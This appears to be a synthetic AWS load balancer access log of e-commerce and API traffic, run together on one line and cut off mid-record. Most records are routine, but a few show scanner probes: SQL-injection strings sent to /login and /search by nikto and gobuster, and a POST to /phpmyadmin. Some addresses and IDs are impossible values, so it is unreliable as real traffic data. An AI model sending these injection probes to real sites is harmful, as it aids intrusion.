2024-11-01T02:27:14.110817Z prod-web-alb 28.215.209.138:53316 10.0.225.192:443 0.021125 0.245849 0.071751 301 301 65 6396 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da12-f234a612cadc4a228f2ea817" "prod-web-alb.example.com" "-" 1 2024-11-01T02:27:14.110817Z "forward" "-" "-" "10.0.225.192:443" "301" "-" "-" -https 2024-11-01T02:27:14.894619Z prod-web-alb 211.10.96.162:49696 10.0.160.200:443 0.028678 0.489747 0.060673 200 200 202 10252 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da12-97e2e41dbb904ea4b48b2602" "prod-web-alb.example.com" "-" 4 2024-11-01T02:27:14.894619Z "forward" "-" "-" "10.0.160.200:443" "200" "-" "-" -https 2024-11-01T02:27:15.522877Z prod-api-alb 96.168.6.137:34492 10.0.192.37:443 0.006666 0.490142 0.052267 301 301 144 5421 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da13-755b8bfd90444444ba9cd5b0" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:15.522877Z "forward" "-" "-" "10.0.192.37:443" "301" "-" "-" -https 2024-11-01T02:27:17.267741Z prod-web-alb 255.58.61.181:60568 10.0.4.44:443 0.019801 0.247432 0.009986 200 200 612 10990 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da15-ebbb8ec84ff949178d3e1cac" "prod-web-alb.example.com" "-" 10 2024-11-01T02:27:17.267741Z "forward" "-" "-" "10.0.4.44:443" "200" "-" "-" -https 2024-11-01T02:27:17.934104Z staging-alb 226.190.189.2:50169 98.251.6.164:80 0.103091 0.601972 0.029113 200 200 129 1918 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da15-e4b7832601fe4d40be6b98ac" "staging-alb.example.com" "-" 9 2024-11-01T02:27:17.934104Z "forward" "-" "-" "98.251.6.164:80" "200" "-" "-" -https 2024-11-01T02:27:19.886042Z prod-web-alb 7.191.90.143:18262 10.0.33.55:443 0.068641 0.139519 0.084556 404 404 280 8015 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da17-1564e8a5bc67449385e3c8bf" "prod-web-alb.example.com" "-" 8 2024-11-01T02:27:19.886042Z "forward" "-" "-" "10.0.33.55:443" "404" "-" "-" -https 2024-11-01T02:27:20.500619Z prod-api-alb 56.196.194.13:11545 10.0.21.180:443 0.044150 0.304372 0.023740 200 200 407 3357 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da18-d7f2b0b0bae54a6e8f025cae" "prod-api-alb.example.com" "-" 7 2024-11-01T02:27:20.500619Z "forward" "-" "-" "10.0.21.180:443" "200" "-" "-" -https 2024-11-01T02:27:22.454822Z prod-api-alb 7.58.146.246:43289 10.0.241.230:443 0.079560 0.101499 0.078987 200 200 858 385 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1a-5f505928b4f148a685158807" "prod-api-alb.example.com" "-" 0 2024-11-01T02:27:22.454822Z "forward" "-" "-" "10.0.241.230:443" "200" "-" "-" -https 2024-11-01T02:27:23.999357Z prod-api-alb 45.155.205.103:31539 10.0.143.136:443 0.060385 0.287693 0.081848 401 401 871 2953 "POST /phpmyadmin HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1b-d2947691edf94bc3b24ebaa1" "-" "-" 2 2024-11-01T02:27:23.999357Z "forward" "-" "-" "10.0.143.136:443" "401" "-" "-" -https 2024-11-01T02:27:24.421462Z prod-api-alb 61.218.167.147:12335 10.0.191.36:443 0.020115 0.295726 0.060876 200 200 998 2333 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da1c-b50e4d2dc4f24966b34b6467" "prod-api-alb.example.com" "-" 0 2024-11-01T02:27:24.421462Z "forward" "-" "-" "10.0.191.36:443" "200" "-" "-" -https 2024-11-01T02:27:26.416065Z prod-api-alb 19.63.199.251:62509 10.0.10.67:443 0.062116 0.003477 0.005667 404 404 704 13715 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da1e-1389364b452a457f9549d174" "prod-api-alb.example.com" "-" 7 2024-11-01T02:27:26.416065Z "forward" "-" "-" "10.0.10.67:443" "404" "-" "-" -https 2024-11-01T02:27:27.007802Z prod-api-alb 195.172.225.141:28324 10.0.191.187:443 0.019981 0.135469 0.072659 302 302 325 8885 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1f-a835c502060f46c182426335" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:27.007802Z "forward" "-" "-" "10.0.191.187:443" "302" "-" "-" -https 2024-11-01T02:27:27.153778Z prod-web-alb 41.84.163.219:41207 10.0.32.76:443 0.040684 0.292876 0.066000 200 200 168 7017 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da1f-e0f4936e43dc427b9c03280e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:27:27.153778Z "forward" "-" "-" "10.0.32.76:443" "200" "-" "-" -https 2024-11-01T02:27:27.731738Z prod-api-alb 117.112.10.31:22821 10.0.221.69:443 0.016964 0.476948 0.036018 200 200 138 2744 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1f-f3e11f3d8741456082eb1c0a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:27.731738Z "forward" "-" "-" "10.0.221.69:443" "200" "-" "-" -https 2024-11-01T02:27:27.937060Z prod-api-alb 182.131.61.154:36787 10.0.135.13:443 0.040830 0.393787 0.035274 200 200 243 4651 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1f-31c4b7a4f6d949f9a27e0efc" "prod-api-alb.example.com" "-" 5 2024-11-01T02:27:27.937060Z "forward" "-" "-" "10.0.135.13:443" "200" "-" "-" -https 2024-11-01T02:27:28.339665Z prod-web-alb 185.181.135.255:41842 10.0.108.205:443 0.014004 0.116144 0.028359 200 200 624 11172 "POST /login?id=1'-- HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da20-d26b16814bff412fb4916410" "-" "-" 9 2024-11-01T02:27:28.339665Z "forward" "-" "-" "10.0.108.205:443" "200" "-" "-" -https 2024-11-01T02:27:29.162493Z prod-web-alb 147.108.137.96:48378 10.0.95.14:443 0.023768 0.337411 0.038480 200 200 734 10533 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da21-56afbee903af45dd8a43b27c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:27:29.162493Z "forward" "-" "-" "10.0.95.14:443" "200" "-" "-" -https 2024-11-01T02:27:30.516176Z staging-alb 164.115.48.65:10509 193.255.177.225:80 0.008911 0.723586 0.044186 404 404 225 5360 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da22-64907132654a4917923d7111" "staging-alb.example.com" "-" 5 2024-11-01T02:27:30.516176Z "forward" "-" "-" "193.255.177.225:80" "404" "-" "-" -http 2024-11-01T02:27:31.082702Z staging-alb 181.73.75.190:10741 234.117.160.228:8080 0.011732 0.152011 0.070929 200 200 319 7039 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da23-93e1862412744c3397a98b08" "staging-alb.example.com" "-" 10 2024-11-01T02:27:31.082702Z "forward" "-" "-" "234.117.160.228:8080" "200" "-" "-" -https 2024-11-01T02:27:31.199603Z prod-api-alb 78.139.118.210:61415 10.0.37.159:443 0.078780 0.471154 0.083739 302 302 641 4777 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da23-bcb92f40d268440d85234122" "prod-api-alb.example.com" "-" 9 2024-11-01T02:27:31.199603Z "forward" "-" "-" "10.0.37.159:443" "302" "-" "-" -https 2024-11-01T02:27:31.657708Z prod-api-alb 216.237.84.245:25739 10.0.3.161:443 0.053401 0.035421 0.082456 200 200 159 13993 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da23-1dfa0ca263794a3399d0cec3" "prod-api-alb.example.com" "-" 5 2024-11-01T02:27:31.657708Z "forward" "-" "-" "10.0.3.161:443" "200" "-" "-" -http 2024-11-01T02:27:33.121670Z staging-alb 88.171.41.26:49040 120.94.122.124:80 0.046781 0.440631 0.099647 200 200 91 9331 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da25-a7ea50a3e805416a95f2932b" "staging-alb.example.com" "-" 3 2024-11-01T02:27:33.121670Z "forward" "-" "-" "120.94.122.124:80" "200" "-" "-" -https 2024-11-01T02:27:33.860689Z prod-web-alb 91.63.82.44:26400 10.0.222.227:443 0.095028 0.322738 0.030319 200 200 377 10606 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da25-396cc97cd6cf4ea68269ba88" "prod-web-alb.example.com" "-" 5 2024-11-01T02:27:33.860689Z "forward" "-" "-" "10.0.222.227:443" "200" "-" "-" -https 2024-11-01T02:27:34.565648Z prod-api-alb 34.201.82.205:21346 10.0.205.196:443 0.031749 0.434221 0.057657 200 200 345 5388 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da26-d32f50e4d44e40668289f0e2" "prod-api-alb.example.com" "-" 9 2024-11-01T02:27:34.565648Z "forward" "-" "-" "10.0.205.196:443" "200" "-" "-" -https 2024-11-01T02:27:36.562546Z prod-api-alb 106.80.5.61:18929 10.0.249.54:443 0.035497 0.304810 0.056233 200 200 887 5385 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da28-006674930b0a42c0974c6db0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:27:36.562546Z "forward" "-" "-" "10.0.249.54:443" "200" "-" "-" -https 2024-11-01T02:27:37.574617Z prod-web-alb 14.199.28.108:11580 10.0.241.181:443 0.063473 0.015473 0.049822 200 200 299 4154 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da29-c330810cb11a4990b0e7f1c8" "prod-web-alb.example.com" "-" 0 2024-11-01T02:27:37.574617Z "forward" "-" "-" "10.0.241.181:443" "200" "-" "-" -https 2024-11-01T02:27:39.441452Z prod-api-alb 58.96.203.74:55514 10.0.196.198:443 0.068126 0.161571 0.093219 200 200 391 14093 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da2b-8c57f57b5aef4857a308ab0b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:39.441452Z "forward" "-" "-" "10.0.196.198:443" "200" "-" "-" -https 2024-11-01T02:27:39.585844Z prod-api-alb 46.244.154.152:17163 10.0.64.74:443 0.083649 0.457783 0.020871 404 404 166 11133 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da2b-8871a84cd6aa47349163d114" "prod-api-alb.example.com" "-" 2 2024-11-01T02:27:39.585844Z "forward" "-" "-" "10.0.64.74:443" "404" "-" "-" -http 2024-11-01T02:27:40.854502Z staging-alb 193.27.228.108:51349 109.160.0.230:443 0.145978 0.534336 0.040705 500 500 97 4701 "GET /search?q=1' UNION SELECT HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da2c-b3241c5822eb46cfb5e70de4" "-" "-" 10 2024-11-01T02:27:40.854502Z "forward" "-" "-" "109.160.0.230:443" "500" "-" "-" -https 2024-11-01T02:27:41.004577Z prod-api-alb 142.49.104.43:20510 10.0.75.221:443 0.046053 0.266920 0.031804 200 200 327 13006 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da2d-0d78a26a4b7e448ca8db4e5d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:27:41.004577Z "forward" "-" "-" "10.0.75.221:443" "200" "-" "-" -https 2024-11-01T02:27:42.992941Z prod-web-alb 229.251.162.134:14657 10.0.36.197:443 0.048480 0.003700 0.062730 200 200 748 10097 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da2e-e5aebf29271b46d4854213a4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:27:42.992941Z "forward" "-" "-" "10.0.36.197:443" "200" "-" "-" -http 2024-11-01T02:27:44.177004Z staging-alb 52.6.226.32:46031 218.55.207.111:8080 0.075098 0.295310 0.051215 404 404 908 3206 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da30-f2654c13c4304624a4c7d1eb" "staging-alb.example.com" "-" 4 2024-11-01T02:27:44.177004Z "forward" "-" "-" "218.55.207.111:8080" "404" "-" "-" -https 2024-11-01T02:27:46.139959Z prod-api-alb 212.109.140.223:46130 10.0.84.236:443 0.078742 0.258040 0.067557 200 200 669 9315 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da32-9e806b2392f84fff87c9f58a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:27:46.139959Z "forward" "-" "-" "10.0.84.236:443" "200" "-" "-" -https 2024-11-01T02:27:46.456204Z staging-alb 40.179.170.12:43986 85.101.255.236:80 0.018855 0.028477 0.055627 200 200 375 7829 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da32-92df316fee0a49c9b552c08a" "staging-alb.example.com" "-" 2 2024-11-01T02:27:46.456204Z "forward" "-" "-" "85.101.255.236:80" "200" "-" "-" -https 2024-11-01T02:27:47.054854Z prod-web-alb 101.103.117.73:51512 10.0.139.227:443 0.002444 0.202683 0.005964 301 301 706 3142 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da33-82473d017ee64a5e9fae91da" "prod-web-alb.example.com" "-" 3 2024-11-01T02:27:47.054854Z "forward" "-" "-" "10.0.139.227:443" "301" "-" "-" -https 2024-11-01T02:27:47.800713Z prod-api-alb 203.165.164.185:35027 10.0.122.101:443 0.074096 0.231049 0.053581 200 200 199 5036 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da33-25bebc81e54643aca499e09e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:47.800713Z "forward" "-" "-" "10.0.122.101:443" "200" "-" "-" -https 2024-11-01T02:27:49.746341Z staging-alb 246.108.220.227:17509 105.242.8.186:8080 0.048245 0.056194 0.104793 404 404 330 1392 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da35-17ddd9fc0b024614b54d6e48" "staging-alb.example.com" "-" 8 2024-11-01T02:27:49.746341Z "forward" "-" "-" "105.242.8.186:8080" "404" "-" "-" -https 2024-11-01T02:27:50.073693Z prod-api-alb 114.37.52.211:27443 10.0.159.168:443 0.039705 0.380796 0.085365 200 200 317 5339 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da36-e3555dabe2334a30aa20160a" "prod-api-alb.example.com" "-" 6 2024-11-01T02:27:50.073693Z "forward" "-" "-" "10.0.159.168:443" "200" "-" "-" -https 2024-11-01T02:27:51.217581Z staging-alb 103.73.70.52:61529 150.122.64.7:443 0.102392 0.378882 0.001803 200 200 881 11575 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da37-9053bf3f3ab745f2bfec535e" "staging-alb.example.com" "-" 1 2024-11-01T02:27:51.217581Z "forward" "-" "-" "150.122.64.7:443" "200" "-" "-" -https 2024-11-01T02:27:52.910296Z prod-web-alb 189.60.90.70:48809 10.0.232.184:443 0.038881 0.049072 0.055782 200 200 839 6590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da38-2079084f26a64bb79ddda086" "prod-web-alb.example.com" "-" 8 2024-11-01T02:27:52.910296Z "forward" "-" "-" "10.0.232.184:443" "200" "-" "-" -http 2024-11-01T02:27:54.009223Z staging-alb 128.182.173.98:37228 89.117.87.223:443 0.048525 0.287215 0.050797 200 200 60 6242 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da3a-849025e784594624a664f2d1" "staging-alb.example.com" "-" 0 2024-11-01T02:27:54.009223Z "forward" "-" "-" "89.117.87.223:443" "200" "-" "-" -http 2024-11-01T02:27:54.277637Z staging-alb 19.156.6.130:26844 214.52.181.139:443 0.013408 0.622952 0.092763 404 404 787 7112 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da3a-ecb7accd77514724b82c8117" "staging-alb.example.com" "-" 2 2024-11-01T02:27:54.277637Z "forward" "-" "-" "214.52.181.139:443" "404" "-" "-" -https 2024-11-01T02:27:56.216541Z prod-web-alb 1.229.91.9:18393 10.0.222.40:443 0.032391 0.383267 0.053991 302 302 861 6364 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da3c-46a0ed29bfc34a1b99285356" "prod-web-alb.example.com" "-" 0 2024-11-01T02:27:56.216541Z "forward" "-" "-" "10.0.222.40:443" "302" "-" "-" -https 2024-11-01T02:27:56.643800Z prod-web-alb 219.72.182.129:25257 10.0.138.193:443 0.005012 0.408813 0.042628 200 200 813 4514 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da3c-e8bc2fab2d62421a9199d0a9" "prod-web-alb.example.com" "-" 9 2024-11-01T02:27:56.643800Z "forward" "-" "-" "10.0.138.193:443" "200" "-" "-" -https 2024-11-01T02:27:57.399128Z prod-web-alb 238.33.79.62:27491 10.0.58.13:443 0.029775 0.092498 0.033715 302 302 309 8157 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da3d-2ac2c55845d14bde87018fc6" "prod-web-alb.example.com" "-" 10 2024-11-01T02:27:57.399128Z "forward" "-" "-" "10.0.58.13:443" "302" "-" "-" -https 2024-11-01T02:27:57.766798Z prod-web-alb 150.41.206.186:48130 10.0.75.119:443 0.061097 0.141831 0.060358 200 200 820 11697 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da3d-3fbe7cc4c5f84f79a595d711" "prod-web-alb.example.com" "-" 2 2024-11-01T02:27:57.766798Z "forward" "-" "-" "10.0.75.119:443" "200" "-" "-" -http 2024-11-01T02:27:59.381404Z staging-alb 209.21.76.153:21671 0.175.224.147:443 0.096297 0.076432 0.042555 200 200 10 12598 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da3f-2370a269a65b443e8adf4904" "staging-alb.example.com" "-" 